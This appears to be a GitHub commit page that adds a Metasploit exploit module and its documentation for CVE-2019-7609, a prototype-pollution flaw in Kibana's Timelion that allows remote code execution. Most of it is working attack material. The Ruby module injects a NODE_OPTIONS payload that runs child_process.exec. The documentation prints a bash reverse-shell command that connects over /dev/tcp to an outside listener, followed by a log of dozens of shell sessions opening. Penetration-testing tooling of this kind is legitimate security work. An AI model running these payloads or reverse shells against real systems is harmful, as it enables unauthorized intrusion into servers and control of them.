-
Notifications
You must be signed in to change notification settings - Fork 14k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
2 changed files
with
288 additions
and
0 deletions.
There are no files selected for viewing
104 changes: 104 additions & 0 deletions
104
...mentation/modules/exploit/linux/http/kibana_timelion_prototype_pollution_rce.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,104 @@ | ||
## Vulnerable Application | ||
|
||
Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. | ||
An attacker with access to the Timelion application could send a request that will attempt to execute | ||
javascript code. This leads to an arbitrary command execution with permissions of the | ||
Kibana process on the host system. | ||
|
||
Tested against kibana 6.5.4, yielding between 43-53 shells. | ||
|
||
### Install | ||
|
||
Use the [docker-compose.yml](https://github.com/mpgn/CVE-2019-7609/issues/1) but also note the comment | ||
about needing `6.5.4`. | ||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
1. Start msfconsole | ||
1. Do: `use use exploit/linux/http/kibana_timelion_prototype_pollution_rce` | ||
1. Do: `set rhost [ip]` | ||
1. Do: `set lhost [ip]` | ||
1. Do: `run` | ||
1. You should get a shell as the kibana user. | ||
|
||
## Options | ||
|
||
## Scenarios | ||
|
||
### Kibana 6.5.4 on Docker | ||
|
||
``` | ||
msf6 > use exploit/linux/http/kibana_timelion_prototype_pollution_rce | ||
[*] Using configured payload cmd/unix/reverse_bash | ||
msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > set verbose true | ||
verbose => true | ||
msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > set lhost 111.111.1.111 | ||
lhost => 111.111.1.111 | ||
msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > set rhosts 127.0.0.1 | ||
rhosts => 127.0.0.1 | ||
msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > exploit | ||
[+] bash -c '0<&78-;exec 78<>/dev/tcp/111.111.1.111/4444;sh <&78 >&78 2>&78' | ||
[*] Started reverse TCP handler on 111.111.1.111:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. Exploitable Version Detected: 6.5.4 | ||
[*] Polluting Prototype in Timelion | ||
[*] Grabbing XSRF Token | ||
[*] Trigginger payload execution via canvas socket | ||
[*] Waiting for shells | ||
[*] Command shell session 1 opened (111.111.1.111:4444 -> 172.19.0.3:34480) at 2023-08-24 15:14:03 -0400 | ||
[*] Command shell session 2 opened (111.111.1.111:4444 -> 172.19.0.3:34486) at 2023-08-24 15:14:03 -0400 | ||
[*] Command shell session 3 opened (111.111.1.111:4444 -> 172.19.0.3:34498) at 2023-08-24 15:14:03 -0400 | ||
[*] Unsetting to stop raining shells from a lacerated kibana | ||
[*] Command shell session 4 opened (111.111.1.111:4444 -> 172.19.0.3:34512) at 2023-08-24 15:14:08 -0400 | ||
[*] Command shell session 8 opened (111.111.1.111:4444 -> 172.19.0.3:34548) at 2023-08-24 15:14:09 -0400 | ||
[*] Command shell session 6 opened (111.111.1.111:4444 -> 172.19.0.3:34530) at 2023-08-24 15:14:09 -0400 | ||
[*] Command shell session 7 opened (111.111.1.111:4444 -> 172.19.0.3:34546) at 2023-08-24 15:14:09 -0400 | ||
[*] Command shell session 10 opened (111.111.1.111:4444 -> 172.19.0.3:34556) at 2023-08-24 15:14:14 -0400 | ||
[*] Command shell session 13 opened (111.111.1.111:4444 -> 172.19.0.3:34566) at 2023-08-24 15:14:15 -0400 | ||
[*] Command shell session 12 opened (111.111.1.111:4444 -> 172.19.0.3:34562) at 2023-08-24 15:14:15 -0400 | ||
[*] Command shell session 11 opened (111.111.1.111:4444 -> 172.19.0.3:34560) at 2023-08-24 15:14:15 -0400 | ||
[*] Command shell session 14 opened (111.111.1.111:4444 -> 172.19.0.3:34576) at 2023-08-24 15:14:21 -0400 | ||
[*] Command shell session 15 opened (111.111.1.111:4444 -> 172.19.0.3:34592) at 2023-08-24 15:14:22 -0400 | ||
[*] Command shell session 17 opened (111.111.1.111:4444 -> 172.19.0.3:34612) at 2023-08-24 15:14:22 -0400 | ||
[*] Command shell session 16 opened (111.111.1.111:4444 -> 172.19.0.3:34602) at 2023-08-24 15:14:22 -0400 | ||
[*] Command shell session 18 opened (111.111.1.111:4444 -> 172.19.0.3:34616) at 2023-08-24 15:14:27 -0400 | ||
[*] Command shell session 19 opened (111.111.1.111:4444 -> 172.19.0.3:34624) at 2023-08-24 15:14:28 -0400 | ||
[*] Command shell session 20 opened (111.111.1.111:4444 -> 172.19.0.3:34626) at 2023-08-24 15:14:28 -0400 | ||
[*] Command shell session 21 opened (111.111.1.111:4444 -> 172.19.0.3:34638) at 2023-08-24 15:14:28 -0400 | ||
[*] Command shell session 22 opened (111.111.1.111:4444 -> 172.19.0.3:34642) at 2023-08-24 15:14:33 -0400 | ||
[*] Command shell session 25 opened (111.111.1.111:4444 -> 172.19.0.3:34676) at 2023-08-24 15:14:35 -0400 | ||
[*] Command shell session 24 opened (111.111.1.111:4444 -> 172.19.0.3:34662) at 2023-08-24 15:14:35 -0400 | ||
[*] Command shell session 23 opened (111.111.1.111:4444 -> 172.19.0.3:34652) at 2023-08-24 15:14:35 -0400 | ||
[*] Command shell session 9 opened (111.111.1.111:4444 -> 172.19.0.3:34550) at 2023-08-24 15:14:39 -0400 | ||
[*] Command shell session 26 opened (111.111.1.111:4444 -> 172.19.0.3:34692) at 2023-08-24 15:14:40 -0400 | ||
[*] Command shell session 28 opened (111.111.1.111:4444 -> 172.19.0.3:34720) at 2023-08-24 15:14:41 -0400 | ||
[*] Command shell session 29 opened (111.111.1.111:4444 -> 172.19.0.3:34736) at 2023-08-24 15:14:41 -0400 | ||
[*] Command shell session 27 opened (111.111.1.111:4444 -> 172.19.0.3:34704) at 2023-08-24 15:14:41 -0400 | ||
[*] Command shell session 31 opened (111.111.1.111:4444 -> 172.19.0.3:34758) at 2023-08-24 15:14:46 -0400 | ||
[*] Command shell session 32 opened (111.111.1.111:4444 -> 172.19.0.3:34762) at 2023-08-24 15:14:47 -0400 | ||
[*] Command shell session 33 opened (111.111.1.111:4444 -> 172.19.0.3:34772) at 2023-08-24 15:14:47 -0400 | ||
[*] Command shell session 34 opened (111.111.1.111:4444 -> 172.19.0.3:34788) at 2023-08-24 15:14:47 -0400 | ||
[*] Command shell session 35 opened (111.111.1.111:4444 -> 172.19.0.3:34800) at 2023-08-24 15:14:52 -0400 | ||
[*] Command shell session 38 opened (111.111.1.111:4444 -> 172.19.0.3:34828) at 2023-08-24 15:14:54 -0400 | ||
[*] Command shell session 36 opened (111.111.1.111:4444 -> 172.19.0.3:34804) at 2023-08-24 15:14:54 -0400 | ||
[*] Command shell session 37 opened (111.111.1.111:4444 -> 172.19.0.3:34818) at 2023-08-24 15:14:54 -0400 | ||
[*] Command shell session 39 opened (111.111.1.111:4444 -> 172.19.0.3:34838) at 2023-08-24 15:14:58 -0400 | ||
[*] Command shell session 42 opened (111.111.1.111:4444 -> 172.19.0.3:34868) at 2023-08-24 15:15:00 -0400 | ||
[*] Command shell session 41 opened (111.111.1.111:4444 -> 172.19.0.3:34860) at 2023-08-24 15:15:00 -0400 | ||
[*] Command shell session 40 opened (111.111.1.111:4444 -> 172.19.0.3:34850) at 2023-08-24 15:15:00 -0400 | ||
[*] Command shell session 43 opened (111.111.1.111:4444 -> 172.19.0.3:34870) at 2023-08-24 15:15:05 -0400 | ||
[*] Command shell session 45 opened (111.111.1.111:4444 -> 172.19.0.3:34890) at 2023-08-24 15:15:06 -0400 | ||
[*] Command shell session 44 opened (111.111.1.111:4444 -> 172.19.0.3:34886) at 2023-08-24 15:15:06 -0400 | ||
[*] Command shell session 46 opened (111.111.1.111:4444 -> 172.19.0.3:34898) at 2023-08-24 15:15:06 -0400 | ||
[*] Command shell session 30 opened (111.111.1.111:4444 -> 172.19.0.3:34742) at 2023-08-24 15:15:10 -0400 | ||
[*] Command shell session 47 opened (111.111.1.111:4444 -> 172.19.0.3:34910) at 2023-08-24 15:15:11 -0400 | ||
[*] Command shell session 48 opened (111.111.1.111:4444 -> 172.19.0.3:34914) at 2023-08-24 15:15:13 -0400 | ||
id | ||
uid=1000(kibana) gid=1000(kibana) groups=1000(kibana) | ||
uname -a | ||
Linux 452752fde1a8 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64 x86_64 x86_64 GNU/Linux | ||
``` |
184 changes: 184 additions & 0 deletions
184
modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,184 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = GoodRanking | ||
include Msf::Exploit::Remote::HttpClient | ||
prepend Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Kibana Timelion Prototype Pollution RCE', | ||
'Description' => %q{ | ||
Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. | ||
An attacker with access to the Timelion application could send a request that will attempt to execute | ||
javascript code. This leads to an arbitrary command execution with permissions of the | ||
Kibana process on the host system. | ||
Tested against kibana 6.5.4, yielding between 43-53 shells. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'h00die', # msf module | ||
'Michał Bentkowski', # original PoC, analysis | ||
'Gaetan Ferry' # more analysis | ||
], | ||
'References' => [ | ||
[ 'URL', 'https://github.com/mpgn/CVE-2019-7609'], | ||
[ 'URL', 'https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/'], | ||
[ 'CVE', '2019-7609'] | ||
], | ||
'Platform' => ['unix'], | ||
'Privileged' => false, | ||
'Arch' => ARCH_CMD, | ||
'Targets' => [ | ||
[ 'Automatic Target', {}] | ||
], | ||
'DisclosureDate' => '2019-10-30', | ||
'DefaultTarget' => 0, | ||
'DefaultOptions' => { | ||
'PAYLOAD' => 'cmd/unix/reverse_bash', | ||
'WfsDelay' => 60 # can take a minute to run | ||
}, | ||
'Notes' => { | ||
# the webserver doesn't die, but certain requests no longer respond before a timeout | ||
# when things go poorly | ||
'Stability' => [CRASH_SERVICE_DOWN], | ||
'Reliability' => [IOC_IN_LOGS], | ||
'SideEffects' => [REPEATABLE_SESSION] | ||
} | ||
) | ||
) | ||
register_options( | ||
[ | ||
Opt::RPORT(5601), | ||
# OptString.new('USERNAME', [ true, 'User to login with', 'admin']), | ||
# OptString.new('PASSWORD', [ false, 'Password to login with', '123456']), | ||
OptString.new('TARGETURI', [ true, 'The URI of the Kibana Application', '/']) | ||
] | ||
) | ||
end | ||
|
||
def check | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'app', 'kibana'), | ||
'method' => 'GET', | ||
'keep_cookies' => true | ||
) | ||
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? | ||
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200 | ||
|
||
# this pulls a big JSON blob that we need as it has the version | ||
unless %r{<kbn-injected-metadata data="([^"]+)"></kbn-injected-metadata>} =~ res.body | ||
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") | ||
end | ||
|
||
version_json = CGI.unescapeHTML(Regexp.last_match(1)) | ||
|
||
begin | ||
json_body = JSON.parse(version_json) | ||
rescue JSON::ParserError | ||
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") | ||
end | ||
|
||
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") if json_body['version'].nil? | ||
|
||
@version = json_body['version'] | ||
|
||
if Rex::Version.new(@version) < Rex::Version.new('5.6.15') || | ||
( | ||
Rex::Version.new(@version) < Rex::Version.new('6.6.1') && | ||
Rex::Version.new(@version) >= Rex::Version.new('6.0.0') | ||
) | ||
return CheckCode::Appears("Exploitable Version Detected: #{@version}") | ||
end | ||
|
||
CheckCode::Safe("Unexploitable Version Detected: #{@version}") | ||
end | ||
|
||
def get_xsrf | ||
vprint_status('Grabbing XSRF Token') | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'bundles', 'canvas.bundle.js'), | ||
'keep_cookies' => true | ||
) | ||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 | ||
|
||
return Regexp.last_match(1) if /"kbn-xsrf":"([^"]+)"/ =~ res.body | ||
|
||
nil | ||
end | ||
|
||
def trigger_socket | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'socket.io/'), # trailing / is required | ||
'keep_cookies' => true, | ||
'headers' => { | ||
'kbn-xsrf' => @xsrf | ||
}, | ||
'vars_get' => { | ||
'EIO' => 3, | ||
'transport' => 'polling' | ||
} | ||
) | ||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 | ||
end | ||
|
||
def send_injection(reset: false) | ||
if reset | ||
pload = ".es(*).props(label.__proto__.env.AAAA='').props(label.__proto__.env.NODE_OPTIONS='')" | ||
else | ||
# we leave a marker for our payload to avoid having .to_json process it and make it unusable by the host OS | ||
pload = %|.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("PAYLOADHERE");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')| | ||
end | ||
body = { | ||
'sheet' => [pload], | ||
'time' => { | ||
'from' => 'now-15m', | ||
'to' => 'now', | ||
'mode' => 'quick', | ||
'interval' => 'auto', | ||
'timezone' => 'America/New_York' | ||
} | ||
} | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'api', 'timelion', 'run'), | ||
'method' => 'POST', | ||
'ctype' => 'application/json', | ||
'headers' => { 'kbn-version' => @version }, | ||
'data' => body.to_json.sub('PAYLOADHERE', payload.encoded.gsub("'", "\\\\\\\\\\\\\\\\'")), | ||
'keep_cookies' => true | ||
) | ||
Rex.sleep(2) # let this take hold, if we go too fast we dont get the shell | ||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 | ||
end | ||
|
||
def exploit | ||
check if @version.nil? | ||
print_status('Polluting Prototype in Timelion') | ||
send_injection | ||
|
||
@xsrf = get_xsrf | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to grab XSRF token") if @xsrf.nil? | ||
|
||
print_status('Trigginger payload execution via canvas socket') | ||
trigger_socket | ||
print_status('Waiting for shells') | ||
rescue ::Rex::ConnectionError | ||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") | ||
end | ||
|
||
def cleanup | ||
print_status('Unsetting to stop raining shells from a lacerated kibana') | ||
send_injection(reset: true) | ||
trigger_socket | ||
super | ||
end | ||
end |